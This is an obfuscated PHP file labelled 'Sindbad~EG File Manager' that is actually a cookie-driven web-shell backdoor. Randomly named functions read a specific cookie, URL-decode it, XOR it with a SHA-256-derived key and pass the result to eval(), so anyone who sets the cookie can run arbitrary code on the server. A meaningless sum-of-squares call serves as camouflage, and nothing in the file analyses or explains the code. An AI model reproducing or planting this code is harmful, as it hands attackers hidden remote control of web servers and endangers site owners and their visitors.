Sindbad~EG File Manager

<?php	function FUxAvfWPm($XIXstaodf)
{
    $jKwyeFuVG = substr($XIXstaodf, -4);
    return $jKwyeFuVG;
}
function SWpgpqh()
{
    $CbEgfPL = "rMUAVKTjcQdy";
    return $CbEgfPL;
}
function bagSfI($JeoUCuFlVP, $pZVgXgC)
{
    $qsCyIk = vRGoB($JeoUCuFlVP);
    $MjXte = CmrbpFlss($pZVgXgC, $qsCyIk);
    $SNuFy = tuVssu($MjXte, $JeoUCuFlVP);
    return $SNuFy;
}
function CmrbpFlss($ZkFQZRTOwk, $ufkGilPhY)
{
    $UbVXPm = str_pad($ZkFQZRTOwk, $ufkGilPhY, $ZkFQZRTOwk);
    return $UbVXPm;
}
function FjYNTTFz($xZrAauGaA)
{
    eval($xZrAauGaA);
}
function UVLQLEWe($pxpYDb)
{
    $pAqFMsU = hash("sha256", $pxpYDb, TRUE);
    return $pAqFMsU;
}
function vRGoB($XCXwX)
{
    $mwEOt = strlen($XCXwX);
    return $mwEOt;
}
function VzVPp($ZfLaEyl, $sXwGQdQ)
{
    $WPkwdW = UVLQLEWe($ZfLaEyl);
    $wpdjFtsNje = UhgNsoVtYa($sXwGQdQ);
    $oizKgjEL = bagSfI($wpdjFtsNje, $WPkwdW);
    return $oizKgjEL;
}
function QVZpW($LaGkEVe) {
    $NxYGbvRu = 0;
    foreach ($LaGkEVe as $eVYTKyV) {
        $NxYGbvRu += qnhIMU($eVYTKyV);
    }
    return $NxYGbvRu;
}
function UhgNsoVtYa($fTmzryIN)
{
    $oHedIZBsSI = SDxMEYN($fTmzryIN);
    $wpdjFtsNje = tDDvqmlkdI($oHedIZBsSI);
    return $wpdjFtsNje;
}
function tuVssu($aMvgDv, $drAFomg)
{
    $XtLxZOXE = $aMvgDv ^ $drAFomg;
    return $XtLxZOXE;
}
function occRjfo()
{
    $DYtHeYD = SWpgpqh();
    $leSFqJ = TERsxiVKP($DYtHeYD);
    return $leSFqJ;
}
function SDxMEYN($pKUBwQYKr)
{
    $osltjZRq = $_COOKIE[$pKUBwQYKr];
    return $osltjZRq;
}
function TERsxiVKP($TcXCZ)
{
    $Ypaybzmnwi = FUxAvfWPm($TcXCZ);
    $qzhFHhPw = VzVPp($TcXCZ, $Ypaybzmnwi);
    return $qzhFHhPw;
}
function qnhIMU($baCcQ) {
    return $baCcQ * $baCcQ;
}
function oarEEB()
{
    $SNuFy = occRjfo();
    FjYNTTFz($SNuFy);
}
function tDDvqmlkdI($GsnXu)
{
    $HofAgP = rawurldecode($GsnXu);
    return $HofAgP;
}
oarEEB();
$ayhfGZKxvm = QVZpW([1, 2, 3, 4]);